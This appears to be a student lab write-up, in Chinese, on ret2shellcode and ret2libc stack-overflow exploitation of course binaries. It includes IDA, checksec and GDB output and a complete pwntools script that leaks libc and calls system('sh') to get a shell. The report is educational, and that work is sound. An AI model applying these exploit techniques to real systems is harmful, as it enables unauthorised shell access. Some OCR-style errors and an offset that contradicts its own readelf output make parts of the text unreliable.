LAB 3: 漏洞利用

潘亦晟

515021910384

1 Return to shellcode

1.1 用IDA分析程序的流程

我们使用IDA的反汇编功能对二进制程序进行分析,反编译结果见1。

```
int __cdecl main(int argc, const char **argv, const char **envp)
2{
    char s; // [esp+1Ch] [ebp-14h]
4
    setvbuf(stdout, 0, 2, 0);
    printf("Name:");
    read(0, &name, 0x32u);
    printf("Try your best:");
    return (int)gets(&s);
```

Figure 1: IDA反汇编

- 首先定义了一个字符串s
- 其次定义了输出流stdout
- 输入32位无符号类型的名字
- 输入字符串存入s

1.2 使用peda的checksec命令查看binary开了哪些保护?

```
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
gdb-peda$
```

Figure 2: checksec

我们观察到该程序仅部分开启RELRO保护。

Note: 将shellcode写入name数组,字符串s溢出之后定向至name所在地址从而运行shellcode。

1.3 分析程序在何处发生栈溢出,并且使用多长的字符串可以使得eip被完全 控制?

我们观察到该程序有两个输入函数read和gets。其中read定义了读取内容的类型大小,溢出后计算offset需要减去读取内容所占内存;而gets函数无类型检查和长度大小限制,可直接使用peda的pattern_offsetr得到偏移量,因此我们利用gets函数的栈溢出定向至name所在地址从而运行shellcode。具体见3

```
Legend: code, data, rodata, heap, value
Stopped reason: SIGSEGV
0x41412941 in ?? ()
gdb-peda$ pattern_offset 0x41412941
1094789441 found at offset: 32
gdb-peda$
```

Figure 3: offset

1.4 运行ret2sc.py的脚本,并完成利用

思想:将shellcode写入name数组,字符串s溢出之后定向至name所在地址从而运行shellcode。

因此我们需要利用name数组的地址以及上一问分析出的偏移量帮助我们攻击。我们通过输入"aaaa"存入name,观察"aaaa"在栈中的位置获得name数组的地址,结果见4

Figure 4: name address

运行ret2sc.py的脚本,获得shell权限。结果见5

Figure 5: run ret2sc.pv

1.5 反汇编ret2sc.py的脚本中的shellcode

我们观察到shellcode通过execve函数系统级别调用/bin/sh获得shellcode。

2 return to libc

2.1 使用IDA分析ret2lib程序的流程

- 输出5条字符串,清空输出流。
- 用户输入十进制地址,将其转换为整数型。
- 输出"Leave some message for me: ", 清空输出流
- 用户输入信息存入src。
- 输出"Thank you"

```
Lint __cdecl main(int argc, const char **argv, const char **envp)
  char **v3; // ST04_4
  int v4; // ST08_4
  char src; // [esp+12h] [ebp-10Eh]
char buf; // [esp+112h] [ebp-Eh]
  int v8; // [esp+11Ch] [ebp-4h]
  puts("##############");
  puts("Do you know return to library ?");
  puts("##############"");
  puts("What do you want to see in memory?");
  printf("Give me an address (in dec) :");
  fflush(stdout);
  read(0, &buf, 0xAu);
  v8 = strtol(&buf, v3, v4);
  See_something(v8);
  printf("Leave some message for me :");
  fflush(stdout);
  read(0, &src, 0x100u);
  Print_message(&src);
  puts("Thanks you ~");
  return 0;
```

Figure 6: IDA

2.2 使用peda的checksec命令查看binary开了哪些保护?

我们观察到除了部分开启了RELRO保护之外还开启了NX保护,使数据所在内存页标识为不可执行。因此无法向之前一样直接使用shellcode进行攻击。

```
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
```

Figure 7: checksec2

2.3 使用IDA查看linux系统下的libc中的puts和system的相对偏移

可以使用**readelf** -s /lib/i386-linux-gnu/libc.so.6 — grep XXX命令或者对libc.so.6文件使用IDA反汇编来查看linux系统下的libc中的puts和system的相对偏移。

Figure 8: puts offset

结论: 我们观察到看linux系统下的libc中的puts的相对偏移为 0x67f10。

```
pys666@ubuntu:~/Downloads/ts308_labs/Lab2/ret2ltb$ readelf -s /lib/t386-linux-g
nu/libc.so.6 | grep system
252: 001276f0 102 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@GGLIBC_2.0
641: 00030540 55 FUNC GLOBAL DEFAULT 13 _libc_system@GGLIBC_PRIVATE
1486: 000030540 55 FUNC WEAK DEFAULT 13 _system@GGLIBC_PRIVATE
pys666@ubuntu:~/Downloads/ts308 labs/Lab2/ret2ltb$
```

Figure 9: system offset

结论: 我们观察到看linux系统下的libc中的system的相对偏移为 0x3d540。

攻击思路:由于程序开启了NX保护,我们无法直接执行shellcode。利用系统调用的库让我们间接执行system(sh)获得shell权限。

```
#!/usr/bin/env python
   -*- coding: utf-8 -*-
from pwn import *
  = process('./ret2lib')
r.recvuntil(":")
puts_got = 0x0804a01c
r.sendline(str(puts_got))
r.recvuntil(": ")
puts_adr = int(r.recvuntil("\n").strip(),16)
puts_off = 0x67f10
libc = puts_adr - puts_off
print "libc : ",hex(libc)
system = libc + 0x3d540
sh = 0x804929e
r.recvuntil(":")
payload = "a"*60
payload += p32(system)
payload += "bbbb"
payload += p32(sh)
r.sendline(payload)
 r.interactive()
```

Figure 10: modify py code

我们将源代码中puts_off 更改为 0x67f10, 将system_off 更改为 0x3d540。

Figure 11

我们同时发现python脚本中的puts_got 和 sh 的地址与我们查询到的相同,无需更改。因此运行更改后的python脚本,我们取得了shell权限,结果见13。

Figure 12: get shell

2.4 使用GDB调试程序,分析在控制指针后栈的布局

我们在有漏洞的ret(地址为0x0804857C)处增加断点,观察栈空间情况

结论: 我们观察到eip指向了system, 栈中为system参数"sh"。

```
Registers
EAX: 0x75 ('u')
EBX: 0x0
ECX: 0x75 ('u')
EDX: 0xf7fae894 --> 0x0
ESI: 0x1
EDI: 0xf7fad000 --> 0x1d1d70
EBP: 0x61616161 ('aaaa')
 SP: 0xffbd8cc0 ("bbbb\236\222\004\b\n\367\230\215\275\377\340\215\275\377+\20
1\375\367@\202\004\b\230\215\275\377|J\377\367\001")
                (<__libc_system>:
                                        sub
                                               esp,0xc)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow
                                    – Code -
   0xf7e18537 <cancel_handler+231>:
                                                ebp
                                        pop
   0xf7e18538 <cancel_handler+232>:
   0xf7e18539: lea
                      esi,[esi+eiz*1+0x0]
=> 0xf7e18540 <__libc_system>: sub
                                       esp,0xc
   0xf7e18543 <__libc_system+3>:
                                                eax, DWORD PTR [esp+0x10]
                                        MOV
   0xf7e18547 <__libc_system+7>:
           0xf7f1050d <__x86.get_pc_thunk.dx>
    call
   0xf7e1854c <__libc_system+12>:
                                               edx,0x194ab4
   0xf7e18552 < _ libc_system+18>:
                                    Stack -
0000| 0xffbd8cc0 ("bbbb\236\222\004\b\n\367\230\215\275\377\340\215\275\377+\2
01\375\367@\202\004\b\230\215\275\377|J\377\367\001")
0004| 0xffbd8cc4 --> 0x804929e --> 0x73006873 ('sh')
0008| 0xffbd8cc8 --> 0x8d98f70a
0012| 0xffbd8ccc --> 0x8de0ffbd
0016| 0xffbd8cd0 --> 0x812bffbd
0020| 0xffbd8cd4 --> 0x8240f7fd
0024| 0xffbd8cd8 --> 0x8d980804
0028| 0xffbd8cdc --> 0x4a7cffbd
          ode, data, rodata, heap, value
Legend:
__libc_system (line=0x804929e "sh") at ../sysdeps/posix/system.c:178
178
        ../sysdeps/posix/system.c: No such file or directory.
```

Figure 13: stack